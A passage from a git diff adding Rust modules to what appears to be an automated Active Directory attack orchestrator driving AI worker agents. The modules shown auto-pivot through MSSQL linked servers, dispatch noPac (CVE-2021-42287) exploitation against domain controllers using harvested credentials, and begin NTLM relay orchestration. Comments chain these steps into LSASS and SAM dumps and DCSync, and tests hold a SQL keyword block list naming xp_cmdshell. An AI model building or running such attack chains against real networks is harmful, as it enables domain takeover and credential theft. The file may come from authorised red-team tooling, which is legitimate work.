openquery hops — see plan-loot-gaps.md §1E). + .filter(|v| { + state.exploited_vulnerabilities.contains(&v.vuln_id) + || same_target_impersonation_exploited(&state, &v.target) + }) + .filter_map(|vuln| { + let linked_server = vuln + .details + .get("linked_server") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty())? + .to_string(); + let target_ip = resolve_mssql_target_ip(&vuln.details, &vuln.target); + if target_ip.is_empty() { + return None; + } + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let dedup_key = format!("{}:{}", vuln.vuln_id, linked_server); + if state.is_processed(DEDUP_MSSQL_LINK_PIVOT, &dedup_key) { + return None; + } + + // Same-domain credential preferred so the source-side bind + // doesn't fall through to Guest. Trusted-domain fallback + // mirrors the deep-exploit automation: the link hop rides + // the stored login mapping on the remote side, so any cred + // that authenticates to the source server is a valid trigger. + let same_domain = state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + && (domain.is_empty() || c.domain.eq_ignore_ascii_case(&domain)) + }); + let trust_fallback = if domain.is_empty() { + None + } else { + state.find_trust_credential(&domain) + }; + let cred = same_domain.cloned().or(trust_fallback)?; + + Some(PivotWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + target_ip, + linked_server, + cred_username: cred.username, + cred_domain: cred.domain, + }) + }) + .collect() +} + +async fn run_pivot_probe(dispatcher: Arc, item: PivotWork) { + // The credential resolver in the local tool dispatcher injects the + // password from operation state given (username, domain), so we only + // ship identity here — never plaintext secrets. + let tool_args = build_probe_args(&item); + + let task_id = format!( + "mssql_link_pivot_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let call = ToolCall { + id: format!("mssql_exec_linked_{}", uuid::Uuid::new_v4().simple()), + name: "mssql_exec_linked".to_string(), + arguments: tool_args, + }; + + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + target = %item.target_ip, + linked_server = %item.linked_server, + "MSSQL link pivot probe dispatched (direct tool, no LLM)" + ); + + let result = dispatcher + .llm_runner + .tool_dispatcher() + .dispatch_tool("lateral", &task_id, &call) + .await; + + let outcome = match result { + Ok(exec) => { + if let Some(err) = exec.error { + ProbeOutcome::ToolError(err, exec.output) + } else if probe_output_is_remote_select(&exec.output) { + ProbeOutcome::Confirmed(exec.output) + } else { + ProbeOutcome::NoEvidence(exec.output) + } + } + Err(e) => ProbeOutcome::DispatchFailure(e.to_string()), + }; + + handle_probe_outcome(&dispatcher, &item, outcome).await; +} + +#[derive(Debug)] +enum ProbeOutcome { + /// Tool reported success AND the output looks like a real remote SELECT + /// result (column header, value row). Cross-link auth is confirmed. + Confirmed(String), + /// Tool exited 0 but the output doesn't include the probe columns — + /// usually means the link returned an empty set or the wrapper logged + /// without producing rows. Treat as a soft failure for retry purposes. + NoEvidence(String), + /// Tool itself reported a non-zero exit (linked-server auth rejected, + /// remote sproc not enabled, etc.). Retryable up to the attempt cap. + ToolError(String, String), + /// Couldn't dispatch at all — network/queue/transport issue. Retryable. + DispatchFailure(String), +} + +/// Heuristic: did the tool stdout actually contain rows from the remote +/// SELECT, or is it just impacket's wrapper noise around an empty result? +/// `mssql_exec_linked` runs through impacket's `mssqlclient.py`, which +/// echoes column headers verbatim when a SELECT returns rows. Looking +/// for the column aliases (`who`, `is_sa`, `srv`) is a tighter signal +/// than checking exit code, which is 0 even when the link returns no +/// rows. +fn probe_output_is_remote_select(output: &str) -> bool { + let lower = output.to_ascii_lowercase(); + lower.contains("who") && lower.contains("is_sa") && lower.contains("srv") +} + +/// Did the probe data row indicate `IS_SRVROLEMEMBER('sysadmin') = 1` on the +/// linked-server side? When sysadmin is true, the cross-link auth landed us +/// in a context that can xp_cmdshell and dump SAM/LSA — equivalent to local +/// admin on the linked-server host. The caller then marks that host owned so +/// `auto_lsassy_dump` / `auto_local_admin_secretsdump` can fire against it. +/// +/// Heuristic: find a data row that contains both the linked-server name and +/// a standalone `1` token (the value column for `is_sa`). impacket's +/// mssqlclient.py emits fixed-column-aligned rows; whitespace split is +/// unambiguous because `who` is the only field that can contain spaces and +/// it's always before `is_sa` and `srv` columns. +fn probe_output_indicates_sysadmin(output: &str, linked_server: &str) -> bool { + if !probe_output_is_remote_select(output) { + return false; + } + let ls_lower = linked_server.to_lowercase(); + for line in output.lines() { + let line_lower = line.to_lowercase(); + if !line_lower.contains(&ls_lower) { + continue; + } + // The data row contains the linked-server name. Look for a standalone + // `1` token in the same line — that's the is_sa value. + if line.split_whitespace().any(|tok| tok == "1") { + return true; + } + } + false +} + +/// Best-effort: map the linked-server SQL name to a host IP in state by +/// matching the leading label of any host's hostname (case-insensitive). +/// Returns the IP if a unique-enough match exists; `None` otherwise so the +/// caller skips the ownership upgrade. +fn resolve_linked_server_host_ip(state: &StateInner, linked_server: &str) -> Option { + let target = linked_server.to_lowercase(); + state + .hosts + .iter() + .find(|h| { + !h.ip.is_empty() + && !h.hostname.is_empty() + && (h.hostname.to_lowercase() == target + || h.hostname + .to_lowercase() + .split('.') + .next() + .map(|s| s == target) + .unwrap_or(false)) + }) + .map(|h| h.ip.clone()) +} + +async fn handle_probe_outcome(dispatcher: &Dispatcher, item: &PivotWork, outcome: ProbeOutcome) { + match outcome { + ProbeOutcome::Confirmed(output) => { + let tail = tail_lines(&output, 8); + let is_sa = probe_output_indicates_sysadmin(&output, &item.linked_server); + info!( + vuln_id = %item.vuln_id, + linked_server = %item.linked_server, + is_sa, + output_tail = %tail, + "MSSQL link pivot confirmed — remote SELECT returned rows; \ + cross-link primitive is workable (dedup locked permanently)" + ); + { + // Clear the attempt counter — confirmed pivots don't need it + // sticking around on the StateInner map. + let mut state = dispatcher.state.write().await; + state.mssql_link_pivot_attempts.remove(&item.dedup_key); + } + + // When the link hop runs as sysadmin on the remote SQL Server, the + // resulting principal can xp_cmdshell, which is local-admin- + // equivalent on the host running the SQL Server. Mark that host + // owned so `auto_lsassy_dump` and `auto_local_admin_secretsdump` + // start firing against it — that's how cross-forest member + // servers get their SAM/LSA harvested without an explicit + // secretsdump path. Confirmed manually end-to-end: the link hop + // can reach sysadmin via a stored `sa` login mapping, and the + // subsequent SAM/LSA dump surfaces cached domain credentials that + // `auto_credential_reuse` then uses to DCSync the foreign DC. + if is_sa { + let host_ip = { + let state = dispatcher.state.read().await; + resolve_linked_server_host_ip(&state, &item.linked_server) + }; + if let Some(ip) = host_ip { + match dispatcher + .state + .mark_host_owned(&dispatcher.queue, &ip) + .await + { + Ok(()) => info!( + linked_server = %item.linked_server, + host_ip = %ip, + "Marked linked-server host owned (sysadmin via MSSQL link); \ + lsassy_dump and local_admin_secretsdump will now target it" + ), + Err(e) => warn!( + err = %e, + linked_server = %item.linked_server, + host_ip = %ip, + "Failed to mark linked-server host owned after sysadmin pivot" + ), + } + } else { + warn!( + linked_server = %item.linked_server, + "Cross-link sysadmin confirmed but no matching host in state.hosts; \ + ownership upgrade skipped (lsassy/local-admin chains won't auto-fire)" + ); + } + } + } + other => { + let attempts = { + let mut state = dispatcher.state.write().await; + let count = state + .mssql_link_pivot_attempts + .entry(item.dedup_key.clone()) + .or_insert(0); + *count += 1; + *count + }; + + let summary = describe_outcome(&other); + if attempts < MAX_PIVOT_ATTEMPTS { + warn!( + vuln_id = %item.vuln_id, + linked_server = %item.linked_server, + attempts, + max_attempts = MAX_PIVOT_ATTEMPTS, + summary = %summary, + "MSSQL link pivot probe failed — clearing dedup for retry" + ); + // Clear dedup so the next tick re-fires the probe. + { + let mut state = dispatcher.state.write().await; + state.unmark_processed(DEDUP_MSSQL_LINK_PIVOT, &item.dedup_key); + } + let _ = dispatcher + .state + .unpersist_dedup(&dispatcher.queue, DEDUP_MSSQL_LINK_PIVOT, &item.dedup_key) + .await; + } else { + warn!( + vuln_id = %item.vuln_id, + linked_server = %item.linked_server, + attempts, + summary = %summary, + "MSSQL link pivot probe gave up after MAX_PIVOT_ATTEMPTS — \ + dedup locked; downstream LLM round may still attempt the hop" + ); + } + } + } +} + +fn describe_outcome(o: &ProbeOutcome) -> String { + match o { + ProbeOutcome::Confirmed(_) => "confirmed".into(), + ProbeOutcome::NoEvidence(out) => { + format!("tool_ok_but_no_rows: {}", tail_lines(out, 3)) + } + ProbeOutcome::ToolError(err, out) => { + format!("tool_error: {err} — {}", tail_lines(out, 3)) + } + ProbeOutcome::DispatchFailure(e) => format!("dispatch_failure: {e}"), + } +} + +fn tail_lines(s: &str, n: usize) -> String { + let lines: Vec<&str> = s.lines().rev().take(n).collect(); + let mut out: Vec<&str> = lines.into_iter().rev().collect(); + if out.is_empty() { + return String::new(); + } + let total = out.iter().map(|l| l.len() + 3).sum::(); + if total > 800 { + out.truncate(2); + } + out.join(" | ") +} + +fn build_probe_args(item: &PivotWork) -> Value { + let mut tool_args = json!({ + "target": item.target_ip, + "username": item.cred_username, + "linked_server": item.linked_server, + "query": PROBE_QUERY, + }); + if !item.cred_domain.is_empty() { + tool_args["domain"] = json!(item.cred_domain); + } + tool_args +} + +#[cfg(test)] +mod tests { + use super::*; + + fn sample_work() -> PivotWork { + PivotWork { + vuln_id: "mssql_linked_server_192.168.58.51_SQL".into(), + dedup_key: "mssql_linked_server_192.168.58.51_SQL:SQL".into(), + target_ip: "192.168.58.51".into(), + linked_server: "SQL".into(), + cred_username: "svc_sql".into(), + cred_domain: "contoso.local".into(), + } + } + + #[test] + fn probe_args_carry_linked_server_and_query() { + let args = build_probe_args(&sample_work()); + assert_eq!(args["target"], "192.168.58.51"); + assert_eq!(args["username"], "svc_sql"); + assert_eq!(args["domain"], "contoso.local"); + assert_eq!(args["linked_server"], "SQL"); + assert_eq!(args["query"].as_str().unwrap(), PROBE_QUERY); + // Plaintext secrets MUST NOT be in the probe args — the local + // tool dispatcher's credential resolver injects them after lookup. + assert!(args.get("password").is_none()); + assert!(args.get("hash").is_none()); + } + + #[test] + fn probe_args_omit_domain_when_unknown() { + let mut item = sample_work(); + item.cred_domain = String::new(); + let args = build_probe_args(&item); + assert!(args.get("domain").is_none()); + } + + #[test] + fn probe_query_uses_only_safe_select_columns() { + // Defensive: PROBE_QUERY must stay a single read-only SELECT — + // anything else changes the cost model (DDL on a remote link is + // a much louder primitive than a read). + let q = PROBE_QUERY.to_ascii_uppercase(); + assert!(q.contains("SELECT")); + for forbidden in ["EXEC", "INSERT", "UPDATE", "DELETE", "DROP", "XP_CMDSHELL"] { + assert!( + !q.contains(forbidden), + "PROBE_QUERY must not contain {forbidden} — found in: {PROBE_QUERY}" + ); + } + } + + #[test] + fn probe_output_recognised_as_remote_select() { + let out = "SQL> SELECT ...\nwho is_sa srv\n-- ----- ---\nDC01\\svc_sql 1 SQL01"; + assert!(probe_output_is_remote_select(out)); + } + + #[test] + fn probe_output_no_rows_not_recognised() { + let out = "SQL> EXEC (...) AT [SQL]\n[*] Connecting...\n[!] Login failed for user"; + assert!(!probe_output_is_remote_select(out)); + } + + #[test] + fn probe_output_partial_match_not_recognised() { + // Only one of the three column aliases present — not a probe row. + let out = "who knows what happened here"; + assert!(!probe_output_is_remote_select(out)); + } + + #[test] + fn describe_outcome_summarises_each_variant() { + assert_eq!( + describe_outcome(&ProbeOutcome::Confirmed("ok".into())), + "confirmed" + ); + assert!( + describe_outcome(&ProbeOutcome::NoEvidence("foo".into())).starts_with("tool_ok_but") + ); + assert!( + describe_outcome(&ProbeOutcome::ToolError("auth".into(), "bar".into())) + .starts_with("tool_error") + ); + assert!( + describe_outcome(&ProbeOutcome::DispatchFailure("net".into())) + .starts_with("dispatch_failure") + ); + } + + #[test] + fn tail_lines_returns_last_n_in_order() { + let s = "one\ntwo\nthree\nfour"; + assert_eq!(tail_lines(s, 2), "three | four"); + } + + #[test] + fn tail_lines_handles_empty_input() { + assert_eq!(tail_lines("", 5), ""); + } + + #[test] + fn dedup_key_format_includes_link_name() { + let item = sample_work(); + assert!(item.dedup_key.contains(&item.vuln_id)); + assert!(item.dedup_key.contains(&item.linked_server)); + } + + #[test] + fn max_pivot_attempts_is_bounded() { + // Sanity check — if someone bumps this they should also reconsider + // the per-source rate limit and the dedup-clear cost. + assert!((2..=6).contains(&MAX_PIVOT_ATTEMPTS)); + } + + #[test] + fn probe_sysadmin_recognised_when_data_row_has_is_sa_one() { + // Real impacket mssqlclient output: fixed-column data row with the + // linked-server name and `1` in the is_sa column. + let out = "SQL> SELECT SYSTEM_USER AS who, IS_SRVROLEMEMBER('sysadmin') AS is_sa, @@SERVERNAME AS srv;\n\ + who is_sa srv\n\ + -------------------------- ----- --------\n\ + nt service\\mssql$sqlexpress 1 SQL01"; + assert!(probe_output_indicates_sysadmin(out, "SQL01")); + } + + #[test] + fn probe_sysadmin_rejected_when_is_sa_zero() { + // Non-sysadmin context — link auth landed but the remote principal + // is a regular user. We must NOT mark the host owned in this case. + let out = "SQL> SELECT ...;\n\ + who is_sa srv\n\ + -------------- ----- --------\n\ + guest 0 SQL01"; + assert!(!probe_output_indicates_sysadmin(out, "SQL01")); + } + + #[test] + fn probe_sysadmin_rejected_when_columns_missing() { + // No probe columns in output — must reject regardless of stray `1`s. + let out = "[!] Login failed for user '1' on SQL01"; + assert!(!probe_output_indicates_sysadmin(out, "SQL01")); + } + + #[test] + fn resolve_linked_server_host_by_short_name() { + use ares_core::models::Host; + let mut state = StateInner::new("op-test".into()); + state.hosts.push(Host { + ip: "192.168.58.51".into(), + hostname: "sql01.contoso.local".into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + }); + // Linked-server SQL name "SQL01" should match host "sql01.contoso.local" + // by leading-label comparison (case-insensitive). + assert_eq!( + resolve_linked_server_host_ip(&state, "SQL01"), + Some("192.168.58.51".into()) + ); + } + + #[test] + fn resolve_linked_server_host_returns_none_when_no_match() { + use ares_core::models::Host; + let mut state = StateInner::new("op-test".into()); + state.hosts.push(Host { + ip: "192.168.58.51".into(), + hostname: "dc01.contoso.local".into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: true, + owned: false, + }); + assert_eq!(resolve_linked_server_host_ip(&state, "SQL01"), None); + } + + #[test] + fn same_target_impersonation_exploited_unlocks_pivot_gate() { + // PR 3 plan §1E: once `auto_mssql_impersonation` confirms + // EXECUTE AS LOGIN landed and marks the impersonation vuln + // exploited, the linked-server pivot's gate must accept the + // SAME-target linked_server vuln even if that vuln hasn't been + // independently exploited yet. This is what closes the + // source-MSSQL→remote-MSSQL hop without waiting for the LLM to + // re-discover the linked-server primitive. + use ares_core::models::VulnerabilityInfo; + use std::collections::HashMap; + + let mut state = StateInner::new("op-test".into()); + + let mut imp_details = HashMap::new(); + imp_details.insert("account_name".into(), serde_json::json!("svc_sql")); + imp_details.insert("domain".into(), serde_json::json!("contoso.local")); + let imp = VulnerabilityInfo { + vuln_id: "mssql_impersonation_192.168.58.51".into(), + vuln_type: "mssql_impersonation".into(), + target: "192.168.58.51".into(), + discovered_by: "mssql_enum_impersonation".into(), + discovered_at: chrono::Utc::now(), + details: imp_details, + recommended_agent: "privesc".into(), + priority: 3, + }; + state + .discovered_vulnerabilities + .insert(imp.vuln_id.clone(), imp.clone()); + state.exploited_vulnerabilities.insert(imp.vuln_id.clone()); + + assert!(same_target_impersonation_exploited(&state, "192.168.58.51")); + // Different target — pivot gate must NOT open. + assert!(!same_target_impersonation_exploited( + &state, + "192.168.58.99" + )); + // Empty target — defensive: must NOT open. + assert!(!same_target_impersonation_exploited(&state, "")); + } + + #[test] + fn same_target_impersonation_not_exploited_keeps_gate_closed() { + // Negative case: an impersonation vuln exists on the same target + // but has NOT been exploited — the linked-server pivot must stay + // gated. This guards against firing the pivot from a stale + // mssql_impersonation row that never landed EXECUTE AS LOGIN. + use ares_core::models::VulnerabilityInfo; + use std::collections::HashMap; + + let mut state = StateInner::new("op-test".into()); + let imp = VulnerabilityInfo { + vuln_id: "mssql_impersonation_192.168.58.51".into(), + vuln_type: "mssql_impersonation".into(), + target: "192.168.58.51".into(), + discovered_by: "mssql_enum_impersonation".into(), + discovered_at: chrono::Utc::now(), + details: HashMap::new(), + recommended_agent: "privesc".into(), + priority: 3, + }; + state + .discovered_vulnerabilities + .insert(imp.vuln_id.clone(), imp); + // NOT inserted into exploited_vulnerabilities. + + assert!(!same_target_impersonation_exploited( + &state, + "192.168.58.51" + )); + } + + #[test] + fn resolve_linked_server_host_ignores_empty_hostname() { + // A host record with empty hostname must not match the empty leading + // label — that would mass-pwn every IP-only host on a single link. + use ares_core::models::Host; + let mut state = StateInner::new("op-test".into()); + state.hosts.push(Host { + ip: "192.168.58.51".into(), + hostname: String::new(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + }); + assert_eq!(resolve_linked_server_host_ip(&state, ""), None); + assert_eq!(resolve_linked_server_host_ip(&state, "SQL01"), None); + } +} diff --git a/ares-cli/src/orchestrator/automation/nopac.rs b/ares-cli/src/orchestrator/automation/nopac.rs new file mode 100644 index 00000000..dac662c2 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/nopac.rs @@ -0,0 +1,384 @@ +//! auto_nopac -- exploit CVE-2021-42287/CVE-2021-42278 (noPac / SamAccountName +//! spoofing) when conditions are met. +//! +//! noPac creates a computer account, renames it to match a DC, requests a TGT, +//! then restores the name. The TGT now impersonates the DC, enabling DCSync. +//! Requires: valid domain credentials, MAQ > 0 (default 10), unpatched DCs. +//! +//! The worker has a `nopac` tool that wraps the full chain. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect noPac work items from state (pure logic, no async). +fn collect_nopac_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + // Skip domains we already dominate -- noPac is pointless if we have krbtgt + if state.dominated_domains.contains(&domain.to_lowercase()) { + continue; + } + + // Find a credential for this domain + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + { + Some(c) => c.clone(), + None => continue, + }; + + let dedup_key = format!("nopac:{}:{}", domain.to_lowercase(), dc_ip); + if state.is_processed(DEDUP_NOPAC, &dedup_key) { + continue; + } + + items.push(NopacWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Monitors for noPac exploitation opportunities. +/// Dispatches against each DC+credential pair once. +/// Interval: 45s (low-priority CVE check). +pub async fn auto_nopac(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("nopac") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_nopac_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "nopac", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("nopac"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + dc = %item.dc_ip, + domain = %item.domain, + "noPac (CVE-2021-42287) exploitation dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_NOPAC, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_NOPAC, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(dc = %item.dc_ip, "noPac task deferred by throttler"); + } + Err(e) => { + warn!(err = %e, dc = %item.dc_ip, "Failed to dispatch noPac"); + } + } + } + } +} + +struct NopacWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("nopac:{}:{}", "contoso.local", "192.168.58.10"); + assert_eq!(key, "nopac:contoso.local:192.168.58.10"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!( + "nopac:{}:{}", + "CONTOSO.LOCAL".to_lowercase(), + "192.168.58.10" + ); + assert_eq!(key, "nopac:contoso.local:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_NOPAC, "nopac"); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "nopac", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "nopac"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = NopacWork { + dedup_key: "nopac:contoso.local:192.168.58.10".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + + assert_eq!(work.dedup_key, "nopac:contoso.local:192.168.58.10"); + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "testuser"); + } + + #[test] + fn dedup_key_case_normalization() { + let domain = "CONTOSO.LOCAL"; + let dc_ip = "192.168.58.10"; + let key = format!("nopac:{}:{}", domain.to_lowercase(), dc_ip); + assert_eq!(key, "nopac:contoso.local:192.168.58.10"); + + let domain2 = "Fabrikam.Local"; + let key2 = format!("nopac:{}:{}", domain2.to_lowercase(), "192.168.58.20"); + assert_eq!(key2, "nopac:fabrikam.local:192.168.58.20"); + } + + // --- collect_nopac_work tests --- + + use crate::orchestrator::state::StateInner; + + fn make_cred(username: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: uuid::Uuid::new_v4().to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_produces_no_work() { + let state = StateInner::new("test".into()); + let work = collect_nopac_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_produces_no_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_nopac_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dc_with_matching_cred_produces_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_nopac_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].dedup_key, "nopac:contoso.local:192.168.58.10"); + } + + #[test] + fn collect_skips_dominated_domain() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state.dominated_domains.insert("contoso.local".into()); + let work = collect_nopac_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_no_matching_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Credential for different domain, noPac requires exact domain match + state.credentials.push(make_cred("admin", "fabrikam.local")); + let work = collect_nopac_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_already_processed_dedup() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_NOPAC, "nopac:contoso.local:192.168.58.10".into()); + let work = collect_nopac_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_domains_produces_multiple_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state + .credentials + .push(make_cred("fabadmin", "fabrikam.local")); + let work = collect_nopac_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_case_insensitive_domain_match() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_nopac_work(&state); + assert_eq!(work.len(), 1); + } + + #[test] + fn domain_matching_for_credential_selection() { + let cred_contoso = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let cred_fabrikam = ares_core::models::Credential { + id: "c2".into(), + username: "fabadmin".into(), + password: "FabPass!".into(), // pragma: allowlist secret + domain: "fabrikam.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let creds = [cred_contoso, cred_fabrikam]; + let target_domain = "fabrikam.local"; + + let matched = creds + .iter() + .find(|c| c.domain.to_lowercase() == target_domain.to_lowercase()); + assert!(matched.is_some()); + assert_eq!(matched.unwrap().username, "fabadmin"); + } +} diff --git a/ares-cli/src/orchestrator/automation/ntlm_relay.rs b/ares-cli/src/orchestrator/automation/ntlm_relay.rs new file mode 100644 index 00000000..75e57b1b --- /dev/null +++ b/ares-cli/src/orchestrator/automation/ntlm_relay.rs @@ -0,0 +1,850 @@ +//! auto_ntlm_relay -- orchestrate NTLM relay attacks when conditions are met. +//! +//! NTLM relay requires two sides: a relay listener (ntlmrelayx) and a coercion +//! trigger (PetitPotam, PrinterBug, scheduled task bots). This module dispatches +//! relay attacks when: +//! +//! 1. SMB signing is disabled on a target (relay destination) +//! 2. An ADCS web enrollment endpoint exists (ESC8 relay target) +//! 3. We have credentials to trigger coercion or a known coercion source +//! +//! The worker agent coordinates ntlmrelayx + coercion within a single task. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Dedup key prefix for relay attacks. +const DEDUP_SET: &str = DEDUP_NTLM_RELAY; + +/// Monitors for NTLM relay opportunities and dispatches relay attacks. +/// Interval: 30s. +pub async fn auto_ntlm_relay(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("ntlm_relay") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_relay_work(&state, &listener) + }; + + for item in work { + let payload = match &item.relay_type { + RelayType::SmbToLdap => json!({ + "technique": "ntlm_relay_ldap", + "relay_target": item.relay_target, + "listener_ip": item.listener, + "coercion_source": item.coercion_source, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }), + RelayType::Esc8 { ca_name, domain } => json!({ + "technique": "ntlm_relay_adcs", + "relay_target": item.relay_target, + "listener_ip": item.listener, + "ca_name": ca_name, + "domain": domain, + "coercion_source": item.coercion_source, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }), + }; + + let priority = dispatcher.effective_priority("ntlm_relay"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + relay_target = %item.relay_target, + relay_type = %item.relay_type, + "NTLM relay attack dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SET, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SET, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(relay = %item.relay_target, "NTLM relay task deferred by throttler"); + } + Err(e) => { + warn!(err = %e, relay = %item.relay_target, "Failed to dispatch NTLM relay"); + } + } + } + } +} + +/// Collect relay work items from current state. +/// +/// Pure logic extracted from `auto_ntlm_relay` so it can be unit-tested without +/// needing a `Dispatcher` or async runtime (beyond state construction). +fn collect_relay_work( + state: &crate::orchestrator::state::StateInner, + listener: &str, +) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + // Path 1: Relay to hosts with SMB signing disabled → LDAP shadow creds / RBCD + for vuln in state.discovered_vulnerabilities.values() { + if vuln.vuln_type.to_lowercase() != "smb_signing_disabled" { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) 